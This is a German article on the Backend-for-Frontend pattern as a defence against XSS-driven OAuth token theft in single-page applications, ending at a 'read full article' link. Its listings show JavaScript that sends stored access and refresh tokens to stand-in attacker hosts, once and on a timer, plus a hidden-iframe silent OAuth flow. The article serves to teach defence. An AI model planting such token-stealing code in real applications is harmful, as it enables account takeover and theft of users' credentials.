Keine Chance dem Token-Klau: Das Backend-for-Frontend-Pattern

vor 5 Stunden 1

Single-Page Applications (SPAs) haben die Entwicklung von Webanwendungen grundlegend verändert – sie sind schneller, interaktiver und bieten eine desktopähnliche Benutzererfahrung. Doch mit diesem Fortschritt kam ein fundamentales Sicherheitsproblem: Wie speichert man Zugriffstoken sicher im Browser?

Martina Kraus

Martina Kraus beschäftigt sich schon seit frühen Jahren mit der Webentwicklung. Das Umsetzen großer Softwarelösungen in Node.js und Angular hat sie schon immer begeistert. Als selbstständige Softwareentwicklerin arbeitet sie vornehmlich mit Angular mit Schwerpunkt auf Sicherheit in Webanwendungen.

Während traditionelle Serveranwendungen sensible Authentifizierungsdaten sicher serverseitig verwalteten, sind SPAs darauf angewiesen, Access-Token und Refresh-Token direkt im Browser zu speichern – sei es im localStorage, sessionStorage oder im JavaScript-Speicher. Diese Token sind jedoch ein gefundenes Fressen für Angreifer: Ein einziger XSS-Angriff genügt, um vollständigen Zugriff auf Benutzerkonten zu erlangen.

Das Backend-for-Frontend-(BFF)-Pattern verlagert das Token-Management zurück auf den Server, wo es hingehört, ohne die Vorteile moderner Single-Page Applications zu opfern. Dieser Artikel wirft einen praxisnahen Blick auf das Backend-for-Frontend-Pattern, erklärt die dahinterliegenden Sicherheitsprobleme von SPAs und OAuth2 und zeigt, wie sich sichere Authentifizierung in moderne Webanwendungen integrieren lässt. Dabei geht es sowohl um die technischen Implementierungsdetails als auch um die verbleibenden Herausforderungen, wie den Schutz vor Cross-Site Request Forgery (CSRF).

enterJS 2026

(Bild: jaboy/123rf.com)

Call for Proposals für die enterJS 2026 am 16. und 17. Juni in Mannheim: Die Veranstalter suchen nach Vorträgen und Workshops rund um JavaScript und TypeScript, Frameworks, Tools und Bibliotheken, Security, UX und mehr. Vergünstigte Blind-Bird-Tickets sind bis zum Programmstart erhältlich.

Single-Page Applications sind per Definition "öffentliche Clients" – sie können keine Geheimnisse sicher speichern, da ihr Code vollständig im Browser ausgeführt wird. Dennoch benötigen sie Zugriffstoken, um auf geschützte APIs zuzugreifen. Die logische Konsequenz: Die Token müssen irgendwo im Browser gespeichert werden. Genau hier liegt das Problem. Ob localStorage, sessionStorage oder In-Memory-Speicherung – alle Ansätze sind anfällig für Cross-Site-Scripting-(XSS)-Angriffe. Eingeschleuster Schadcode kann problemlos auf diese Speicherorte zugreifen und die Token an Angreifer weiterleiten.

Der RFC-Draft "OAuth 2.0 for Browser-Based Applications" macht das Ausmaß des Problems deutlich: Sobald Angreifer bösartigen JavaScript-Code in der Anwendung ausführen können, haben sie praktisch unbegrenzten Zugriff auf alle im Browser gespeicherten Daten – einschließlich sämtlicher Zugriffstoken.

Es folgen einige dieser Angriffsvektoren im Detail.

Der direkteste Angriff: JavaScript-Code durchsucht alle verfügbaren Speicherorte im Browser und sendet gefundene Token an einen vom Angreifer kontrollierten Server:

// Angreifer-Code extrahiert Token const accessToken = localStorage.getItem('access_token'); const refreshToken = sessionStorage.getItem('refresh_token'); fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({accessToken, refreshToken}) });

Listing 1: Typische Attacke per Single-Execution Token Theft

Dieser Angriff funktioniert unabhängig davon, wo Token gespeichert sind. Ob localStorage, sessionStorage oder in Memory (in einer JavaScript-Variable) – der Angreifer hat denselben Zugriff wie die legitime Anwendung.

Eine kurze Token-Lebensdauer (etwa 5-10 Minuten) kann den Schaden begrenzen, aber nicht verhindern. Wenn der Angriff innerhalb der Token-Lebensdauer stattfindet, ist er erfolgreich. Eine bessere Schutzmaßnahme ist die Aktivierung der Refresh Token Rotation. Hierbei wird bei jedem Token-Refresh das alte Refresh-Token invalidiert und ein neues ausgegeben:

Refresh Token Rotation

(Bild: Martina Kraus)

Wie die obige Abbildung zeigt, erhält man zu jedem neuen Access-Token einen neuen Refresh-Token. Angenommen, der Angreifer würde das Token-Paar einmalig stehlen, so erhielte dieser zwar temporären Zugriff während der Access-Token-Lebensdauer, aber bei der ersten Verwendung des gestohlenen Refresh-Tokens würde der Token-Provider eine Token-Wiederverwendung aufspüren (Refresh Token Reuse Detection). Dies löst eine vollständige Invalidierung der Token-Familie aus – sowohl das kompromittierte Refresh-Token als auch alle damit verbundenen Token werden sofort widerrufen, was weiteren Missbrauch verhindert.

Refresh Token Reuse Detection

(Bild: Martina Kraus)

Diese Schutzmaßnahme versagt jedoch komplett bei Persistent Token Theft. Statt Token einmalig zu stehlen, stiehlt hierbei der kontinuierlich überwachende Angreifer immer die neuesten Token, bevor die legitime Anwendung sie verwenden kann. Ein Timer-basierter Mechanismus extrahiert alle paar Sekunden die neuesten Token:

// Angreifer installiert kontinuierliche Token-Überwachung function stealTokensContinuously() { const currentTokens = { access: localStorage.getItem('access_token'), refresh: localStorage.getItem('refresh_token') }; // Neue Token sofort an Angreifer senden fetch('https://attacker-controlled.com/continuous-steal', { method: 'POST', body: JSON.stringify({ timestamp: Date.now(), tokens: currentTokens }) }); } // Überwachung alle 10 Sekunden setInterval(stealTokensContinuously, 10000);

Listing 2: Persistent Token Theft

Diese Attacke funktioniert durch eine implizite Application Liveness Detection: Der kontinuierliche Token-Diebstahl überträgt dem Angreifer-Server nicht nur die Token, sondern fungiert gleichzeitig als "Heartbeat-Signal" der kompromittierten Anwendung. Schließt der Nutzer den Browser oder navigiert weg, bricht dieser Heartbeat ab – der Angreifer erkennt sofort, dass die legitime Anwendung offline ist. In diesem Zeitfenster kann er das zuletzt gestohlene Refresh-Token gefahrlos für eigene Token-Requests verwenden, ohne eine Refresh Token Reuse Detection zu triggern, da keine konkurrierende Anwendungsinstanz mehr existiert, die dasselbe Token parallel verwenden könnte.

Aktuelle OAuth2-Sicherheitsrichtlinien für SPAs zielen darauf ab, die JavaScript-Zugänglichkeit von Token zu reduzieren. Führende Identity Provider wie Auth0 by Okta raten explizit von localStorage-basierter Token-Persistierung ab und empfehlen stattdessen In-Memory-Storage mit Web-Worker-Sandboxing als Schutz vor XSS-basierten Token-Extraction-Angriffen – selbst wenn dies Session-Kontinuität über Browser-Neustarts hinweg verhindert.

Diese defensiven Token-Storage-Strategien wirken jedoch nur in einem Teil der Angriffsoberfläche. Selbst bei optimaler In-Memory-Isolation mit Web-Worker-Sandboxing bleibt ein fundamentales Architekturproblem bestehen: SPAs agieren als öffentliche OAuth-Clients ohne Client-Secret-Authentifizierung. Diese Client-Konfiguration ermöglicht es Angreifern, die Token-Storage-Problematik vollständig zu umgehen und stattdessen eigenständigen Authorization Code Flow zu initiieren – ein Angriffsvektor, der unabhängig von der gewählten Token-Speicherstrategie funktioniert.

Bei dem Angriff namens Acquisition of New Tokens ignoriert der Angreifer bereits vorhandene Token komplett und startet stattdessen einen eigenen, vollständig neuen Authorization Code Flow. Das ist besonders heimtückisch, weil er dabei die noch aktive Session des Nutzers oder der Nutzerin beim Token-Provider ausnutzt.

Dabei erstellt der Angreifer ein verstecktes iFrame und startet einen legitimen OAuth-Flow:

// Angreifer startet eigenen OAuth-Flow function acquireNewTokens() { // Verstecktes iframe erstellen const iframe = document.createElement('iframe'); iframe.style.display = 'none'; // Eigenen PKCE-Flow vorbereiten const codeVerifier = generateRandomString(128); const codeChallenge = base64URLEncode(sha256(codeVerifier)); const state = generateRandomString(32); // Authorization URL konstruieren iframe.src = `https://auth.example.com/authorize?` + `response_type=code&` + `client_id=legitimate-app&` + // Nutzt die echte Client-ID! `redirect_uri=https://app.example.com/callback&` + `scope=openid profile email api:read api:write&` + `state=${state}&` + `code_challenge=${codeChallenge}&` + `code_challenge_method=S256&` + `prompt=none`; // Wichtig: Keine Nutzer-Interaktion erforderlich! document.body.appendChild(iframe); // Callback-Handling vorbereiten window.addEventListener('message', handleAuthCallback); } function handleAuthCallback(event) { if (event.origin !== 'https://app.example.com') return; const authCode = extractCodeFromUrl(event.data.url); if (authCode) { // Authorization Code gegen Tokens tauschen exchangeCodeForTokens(authCode); } }

Listing 3: Acquisition of New Tokens

Der Token-Provider kann diesen Angreifer-initiierten Flow nicht von einer legitimen Anwendungsanfrage unterscheiden, da alle Request-Parameter identisch sind. Entscheidend ist dabei der prompt=none-Parameter, der eine automatische Authentifizierung ohne User-Interaktion ermöglicht. Diese Silent Authentication funktioniert durch Session-Cookies, die der Token-Provider zuvor im Browser des Nutzers gesetzt hat, um dessen Anmeldestatus zu verfolgen. Diese Session-Cookies lassen sich automatisch auch über das versteckte iFrame übertragen und validieren den Angreifer-Flow als legitime Anfrage einer bereits authentifizierten Session.

Die Grundvoraussetzung aller beschriebenen Angriffsvektoren ist die erfolgreiche Ausführung von Cross-Site-Scripting-Code im Kontext der Anwendung. Das wirft eine fundamentale Frage auf: Stellt Cross-Site Scripting (XSS) in modernen Webanwendungen überhaupt noch eine realistische Bedrohung dar?

XSS galt lange als gelöstes Problem – moderne Browser haben umfassende Schutzmaßnahmen implementiert, Frameworks bieten automatisches Escaping, und Entwicklerinnen und Entwickler sind für die Gefahren sensibilisiert. Doch die Realität zeigt ein anderes Bild: Derartige Angriffe haben sich weiterentwickelt und nutzen neue Angriffsvektoren, die klassische Schutzmaßnahmen umgehen.

Moderne Single-Page Applications integrieren durchschnittlich Hunderte von npm-Paketen. Ein einziges kompromittiertes Paket in der Dependency Chain genügt für vollständige Codeausführung im Browser. Das prominenteste Beispiel war das 2018 kompromittierte npm-Package event-stream mit zwei Millionen wöchentlichen Downloads, das gezielt Bitcoin-Wallet-Software angriff.

Content Security Policy kann nicht zwischen legitimen und kompromittierten npm-Paketen unterscheiden – der schädliche Code wird von einer vertrauenswürdigen Quelle geladen und ausgeführt. Ähnlich problematisch sind kompromittierte Content Delivery Networks oder Third-Party-Widgets wie Analytics-Tools, Chatbots oder Social-Media-Plug-ins.

Kompromittierte Browser-Erweiterungen haben vollständigen Zugriff auf alle Tabs und können beliebigen Code in jede Website injizieren. Gleichzeitig ermöglichen DOM-basierte XSS-Angriffe über postMessage-APIs oder unsichere DOM-Manipulation die Umgehung vieler serverseitiger Schutzmaßnahmen. Besonders geschickt sind Polyglot-Angriffe, die JSONP-Endpoints oder andere vertrauenswürdige APIs missbrauchen, um Content Security Policy zu umgehen – der Schadcode erscheint als legitimer Request von einer erlaubten Quelle.

Diese modernen XSS-Varianten sind besonders raffiniert, weil sie Vertrauen missbrauchen. Der schädliche Code stammt scheinbar von vertrauenswürdigen Quellen, wird oft zeitverzögert oder nur unter bestimmten Bedingungen ausgeführt und umgeht dadurch sowohl technische Schutzmaßnahmen als auch menschliche Aufmerksamkeit. Ein kompromittiertes npm-Paket betrifft dabei nicht nur eine Anwendung, sondern wird über den Package Manager an tausende von Projekten verteilt – ein einzelner Angriff kann so eine massive Reichweite erzielen.

Gesamten Artikel lesen